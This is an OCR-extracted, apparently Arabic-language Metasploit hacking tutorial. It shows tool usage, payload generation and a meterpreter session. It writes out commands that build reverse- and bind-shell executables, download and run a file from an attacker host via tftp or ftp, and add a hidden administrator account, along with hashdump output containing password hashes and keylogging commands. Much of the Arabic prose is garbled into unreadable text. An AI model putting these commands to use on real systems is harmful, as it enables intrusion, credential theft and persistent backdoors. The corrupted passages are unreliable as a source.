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Metasploit

Metasploit <lils

root@silv3r00t:~#cd /pentest/exploits/framework3

1s




root@bt: /pentest/exploits/framework3 - POC T34M - Konsole
Session Edit View Bookmarks Settings Help

t:-# cd /pentest/exploits/framework3/

HACKING karma.rc
README
mil-dic.php

silv3r@et. rb

& POC T34M

payloads DLLs

db_autopwn




scripts
meterpreter
lib
metasploit

docum entation

external
payload
modules
exploits
payloads
encoders

nops
auxiliary

exploits

HTTP,SSH,SMTP,FTP, TFTP,SMB, TCP,UDP etc

remote
local




user interaction

ip remote
SMB
Ip local
click user interaction
payload

Guabiall 2 bldl Sga aalgall
"ASA g gl Gl LAY aaes pudag
IV g 2 b s
dadal) jlea b 3Ll b

payloads

adduser

payload

inline or single
stager
stage
inline payload

shellcode single payload
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encoders
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Metasploit <) g2l

Vg 03g2aa Alaglaa Lia) g acdl) 138 (o AN QuiSS liatu J oW1 g Cmmnead i g (pupal) 138 8 Juala JS5 alS5) o
AdklA Lglal cila glea Cluda) gl (o WA ) o) &y
S I YT Gy al Liasl g Gl JSy ol i (Rl Aagea ol ga) DD (3 latins anidl) 138 3
pdia LA aulag g ol AL il B daslud < g2¥) o038
msfpescan al2iiulbWindows xp spl, (s Jaid s &% Lual | Slia
Windows XP SP2 & SP1 s Jaidi o alll Jaa (lSaVly
. sl Jaally llag
A9 Aa Al (e ) AN ALK aga iy glasilinall £ g e Ladla M| ) A CILESSY b i a3l s Lagk

payload (2 aSail) o g8 g i Al AU Al ggn J oY) el g

Cililal) (i e gy glalivall Jlaa o Jad

msfpescan -1
msfelfscan -~
msfmachscan -2
(binary) 4l clilal) gasd; o 5 lgasen
CALLs, JMPs, or POP/POP/RET instruction sets k) 4ilsals

A JMaiad A Sl s biia A L

i @A L 0
OB e Sdlagsagall cpglie dalexe o) ASidal) ciliSall gIDLLS ke pasdl axiiu] - msfpescan :

elf Llile A Al g usigalll & Aiudail) clile GaadlD- msfelfscan :




msfmachscan
msfopcode

msf opcode
operation code

MOV

http://www.metasploit.com/users/opcode/disabled.html

saaliall J8

jmp esi
Windows XP sp 1 or sp 2

sp 1 or sp 2 “\Win xp

©

http://milwOrm.com/exploits/3925

msfopcode



http://www.metasploit.com/users/opcode/disabled.html
http://milw0rm.com/exploits/3925

msfrpcd
msfrpc

msfd

XMLRPC

msfd

root@silv3r00t: /pentest/exploits/framework3# ./msfd -h
Usage: msfd <options>
OPTIONS:

-A <opt> Specify list of hosts allowed to connect
-D <opt> Specify list of hosts not allowed to connect
-a <opt> Bind to this IP address instead of loopback

-f Run the daemon in the foreground
-h Help banner
-p <opt> Bind to this port instead of 55554
-s Use SSL




a
127.0.0.1 loopback

f

S

msfpayload

msfencode

shellcode msfpayload
shellcode

javascrip t ,perl ,C ,exe,ruby, raw, VBA

./msfpayload payload var=val

payload

Iport var
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payload

./msfpayload windows/shell/reverse tcp O

local port= Iport

local host = Ihost
ip
Ihost,Iport reverse

bind_shell

reverse_shell

./msfpayload windows/shell/reverse tcp lhost=192.168.1.3 C

msfpayload exe
shell access exe msfpayload

shellcode
meterpreter , vncinject

exe

11



./msfpayload windows/shell/reverse_tcp LHOST=192.168.1.3 X > reverse.exe

msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.
1.3 E

./msfpayload windows/shell bind tcp LPORT=4444 X > listen.exe

nc -vn 192.168.1.2 4444

msfencode

Usage: ./msfencode <options>
OPTIONS:

-a <opt> The architecture to encode as
-b <opt> The list of characters to avoid: '\x00\xff'
-c <opt> The number of times to encode the data
-e <opt> The encoder to use

-h Help banner
-i <opt> Encode the contents of the supplied file path
-1 List available encoders
-m <opt> Specifies an additional module search path
-n Dump encoder information

-o <opt> The output file

12



-p <opt> The platform to encode for
-s <opt> The maximum size of the encoded data
-t <opt> The format to display the encoded buffer
-x <opt> Specify an alternate win32 executable template

http://vimeo.com/7969055

1-msfconsole
msfcli -2
msfgui -3
msfwe b -4

. &G JLES)

./msfpayload windows/shell bind tcp LPORT=4444 X > listen.exe

nc -vn 192.168.1.2 4444

./msfpayload windows/shell/reverse_tcp LHOST=192.168.1.3 X > reverse.exe

13


http://vimeo.com/7969055

msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_ tcp LHOST=192.168.
1.3 E

14



Metasploit olasiu

1- msfconsole

msfcli -2
msfgui -3
msfw eb -4
msfconsole
msfcli
msfconsle
fasttrack
msfgui
msfwe b

msfconsole , msfcli

msfconsole

show

payload encoder nops exploits auxiliary , options all

show exploits

show payloads
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show encoders

show nops

show auxiliary

show options

use

auxiliary

use exploit/windows/smb/msdns_zonename

use auxiliary/scanner/smb/version

use ex
Tab

info

info exploit/windows/smb/msdns_zonename

use exploit/windows/smb/msdns_zonename

16



info

set

set rhost 192.168.1.3
set payload windows/shell_bind_tcp

connect

exploit and run
exploit

run

back

msf exploit (msdns_zonename) > back
msf >

use o&iJl pwl
show option
O juriodl oy pdlad
set ;i iiedl pwl

17



exploit

Usage: ./msfcli <exploit ****> <option=value> [mode]

Mode Description
(H)elp Youre looking at it baby!

(S)ummary Show information about this module
(O)ptions Show available options for this module
(A)dvanced Show available advanced options for this module
(I)DS Evasion Show available ids evasion options for this module
(P)ayloads Show available payloads for this module
(T) argets Show available targets for this exploit module
(AC) tions Show available actions for this auxiliary module
(C)heck Run the check routine of the selected module
(E) xecute Execute the selected module
S
@)

E
P

18



./msfcli exploit/windows/*** payload=windows/meterpreter/** rhost=A.B.C.D lh
ost=1.1.1.1

msfconsole

set rhost a.b.c.d

set payload windows/****

rhost=
payload=

http://www.youtube.com/watch?v=vF3ZwDO0vssk

19


http://www.youtube.com/watch?v=vF3ZwD0vssk

_Q\)ﬁ\]\ - Jalasl)

use

show option

RHOST

RPORT

Leadl o slset rhost
Lol Oy guset rport

payload

set payload payload’s name

show options

payload

20



ip LHOST

LPORT

p>lgodl o slset lhost

p>lgodl Oy sset lport

exploit

oﬂ‘ Juﬁl-

use windows/smb/smb

o adl) cilulhatia ) Jlaiip-

show option

) ydall ol aukai3-

Abc jpasiledlset

payload \iai4-

set payload windows/meterpreter

payload-ll @ yiial) aui5-
abc juxiedlset

21



o Al Jaiudip-

exploit

msf > use auxiliary/scanner/smb/version
msf auxiliary(version) > set rhosts 192.168.1.2
rhosts => 192.168.1.2
msf auxiliary(version) > run
[*] 192.168.1.2 is running Windows Vista Ultimate Service Pack 1 (****x%xk%:
nknown) (****:BANDAR-PC) (domain:WORKGROUP)

msf auxiliary(version) >

S

msf auxiliary(version) > nmap -PN 192.168.1.2 -p 445 -O[*] exec: nmap -
PN 192.168.1.2 -p 445 -O

Starting Nmap 5.00 ( http://nmap.org ) at 2010-01-15 05:45 EST
Interesting ports on 192.168.1.2:
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:1D:60:64:06:EC (Asustek Computer)

22



Warning: OSScan results may be unreliable because we could not find at least
1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows Vista|2008
OS details: Microsoft Windows Vista SPO or SP1l or Server 2008 SP1l
Network Distance: 1 hop

O0S detection performed. Please report any incorrect results at http://nmap.or
g/submit/
Nmap done: 1 IP address (1 host up) scanned in 15.62 seconds

S

client-side attacks

tcpdump

nmap
nmap tcpdump

tcpdump

Glaal) gali jull asdiiy ¥ dgauiall] -

sl () Jsasl) g Ul laadi2-
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B sas gl 48y Hhall Cud Metasploit o
o358 31 48l (sl i shaadisa) o) i

Lgadiiand ) ) i) Y graca s

shellcode aaaius ¥ Al <) aill & 4

0-day

g shalizall £ A ) 5] -

http://www.exploit-db.com/exploits/11204

=] AOL

html ActiveX
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http://www.exploit-db.com/exploits/11204

, a9 bl Jg oo Baadls

palgall Juali) Al -
o AN Jid dgaall B gl) udiy g 0 8N Juu ) aalgall) -
ss Juall o Ulaas-

client-side attack . £ (s o5l oda () it
ot dsisshellcode , () <l
L JSAl 13 o Gt Laila (81 e s IS (Saa gishellcode = chdiSall Giis; o 3N Py Lail
1 qu@ AlSd | 40 s o 20 ol A shellcode ) ¢!

msfpayload . o)) paiied (Saa g o Swldlall o cigiSa o 20l o2a Ashellcode

A Qe g
Y Gasall Al e Cnseiband (i ) s o) il
S alia § Gl | Al (58 aa Jlia nag le 138 Gpandl) sz g
) i g 543 (198 OSan IS (S 1315 radh 51 (s S 3985 alesa (1S 13
agal
server-side attacksalie cad ¢ o5 &l A -
Lgam) (10
dgasdall o pdilie M) ey aalgal)
attacker -------------eceoeeee-- > victim
A58 Sl Jady Wany (e
client-side attacks 4lka cad ¢ ¢85 &l a5B -

JMY\QVJQAJHWQMMYQYM\ XY
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victim attacker

perl ,python ,c, ruby etc

shellcode <) 4al 58 Al Jslial) (s 9} shellcode aaided ¥ &l 253-

http://www.exploit-db.com/exploits/11151

shellcode
bindshell shellcode
attacker victim
reverseshell
attacker victim

find socket shellcod

code execution shellcode

code execution

cmd.exe

27


http://www.exploit-db.com/exploits/11151

tftp (Gb oo ALadd b (g calal) Jrand]-
tftp

tftp server tftp client

argl="c:\WINDOWS\system32\cmd.exe /c tftp -
i attacker IP GET file.exe && file.exe"

ftp .Gk o8 ALl a3 (e g cilal) JaaatD-
ftp client

ftp -s:attacker.txt

echo open x.x.x.x 21 > silv3r00t.txt

echo USER silv3r00t >> silv3r00t.txt

echo PASS silv3r00t >> silv3r00t.txt

28



echo bin >> silv3rQ0t.txt

echo GET silv3r00t.exe >> silv3r00t.txt

echo bye >>silv3r00t.txt

ftp -s:silv3r00t.txt

208 AdL) o® ARNAY 43,3)”‘3-

net user userna me password /add
net localgroup Administrateurs userna me /add

argl="c:\WINDOWS\system32\cmd.exe /c net user silv3r00t 123 /add && net local
group Administrateurs silv3r00t /add "

29



Y an 13k

meterpreter > help

Core Commands

Command Description
? Help menu
background Backgrounds the current session
channel Displays information about active channels
close Closes a channel
exit Terminate the meterpreter session
help Help menu
interact Interacts with a channel
irb Drop into irb scripting mode
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
run Executes a meterpreter script
use Load a one or more meterpreter extensions
write Writes data to a channel

30



cat

Stdapi: File system Commands

Command Description
Read the contents of a file to the screen
cd Change directory
del Delete the specified file
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
1s List files
mkdir Make directory
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
upload Upload a file or directory

Stdapi: Networking Commands

Command Description

ipconfig Display interfaces

portfwd Forward a local port to a remote service

route View and modify the routing table

Stdapi: System Commands

Command Description

clearev Clear the event log

drop_token Relinquishes any active impersonation token.

execute Execute a command
getpid Get the current process identifier
getprivs Get as many privileges as possible

getuid Get the user that the server is running as

reg

kill Terminate a process
Ps List running processes
reboot Reboots the remote computer
Modify and interact with the remote registry

rev2self Calls RevertToSelf () on the remote machine

steal_token

sysinfo

shell Drop into a system command shell
shutdown Shuts down the remote computer
Attempts to steal an impersonation token from the target pr
ocess
Gets information about the remote system, such as OS

Stdapi: User interface Commands

31



Command Description

enumdesktops List all accessible desktops and window stations

idletime Returns the number of seconds the remote user has been idl

e
keyscan_dump Dump they keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes

setdesktop Move to a different workstation and desktop
uictl Control some of the user interface components

Priv: Elevate Commands

Command Description

getsystem Attempt to elevate your privilege to that of local system.

Priv: Password database Commands

hashdump Dumps the contents of the SAM database

Priv: Timestomp Commands

timestomp Manipulate file MACE attributes

meterpreter >

32



L oami o) gl (3l Ualla (e (ha OF , plaiacall il o3 0 22yl
reg

I alsiily JS dles 2 hackdoor S 5 &) ges 122 odida | 413 g) (5 iy ) Ao Jaaetl)

cd
rfalaal) oy Jadil)
Icd

aalgall Slea A o8t clalaal) & Jastifocal cd

getwd / pwd

ale il A alaal) 4sliha

Is

cililal) Gl i

cat
Cra cila og) 8
download / upload

| dgaidal) ol daga cilila Jy 38 g) hackdoors Sie gl ) g daga 538 9 Lghi 35 o) clilal) ad))

mkdir /rmdir

I yaa alaae Jas g alaa cida

edit
oS galll B Vi dpd g il o il

agle cpllid (A o8 G gl (e J gaaligetpid
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getuid
dale gplad (AN 50l Jpas
execute
IS el Jedi
kill
e 953 S8
ps
e gl o) il
shell

daall gl Jha o Jsaal

sy AR oada dyghgo bl | (g n A CisIimigrate

ipconfig
Jsdisl el Jia
portfwd

)AY gl o 13s @y )13 @y () A g V) dpandal) Sl (e sl forward Jea ) Ll 4368

route
gl ) Jglaa Jpaatp ledi)
use
D 43gf Al Jaga S laghg ) 3135 Jy 30

run
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hashdump

SAM ciliv sxcld gﬁ 352 gall clilgd) jledal MA.‘\LQ, 4a) pa AJLA )2l
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root@bt: /pentest/exploits/framework3 - Shell - Konsole

dit View Bookmarks Settings Help

1) = rexploit

reverse handler on 192.168.1.5:4444
stically detecting the target...
print: Windows XP Service Pack 2 - lang:English
ed Target: Windows XP SP2 English (NX)
aring the vulnerability...
g stage (725504 bytes)
sreter session 4 opened (192.168.1.5:4444 -= 192.168.1.7:1094)

> hashdump
ytor:500:746b52b837a32287745b111658T492dd9: 2boc15be@bde55a309ae0a7bd175ccdad: & :
aad3b435b51404ecaad3ib435b51404ee:31d6cfefdlbae931b73c59d7e0cl89cl: &
ant:1000:01cbhblc2fae20blle9eds2d7eldc2bbdb:891011Fbbeledde9a9decBabbfealdch?:

! ‘:-; ™ 4 % ~| @ root@bt: /pc & root@bt: ~ - ET= s =) 1 2
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http://www.up-00.com/

al Training and Tools for Security Specialists.

u ﬁﬁmgnm Training courses designed fo

security

you to step into the World o

Va5 o saally o seall W1 i€l 138 6l 5 e )l Vg mal e oy by Gmndl 28 il 138 (o el GisY)

POC T34M

My sites: arab4services.net and pOc.cc
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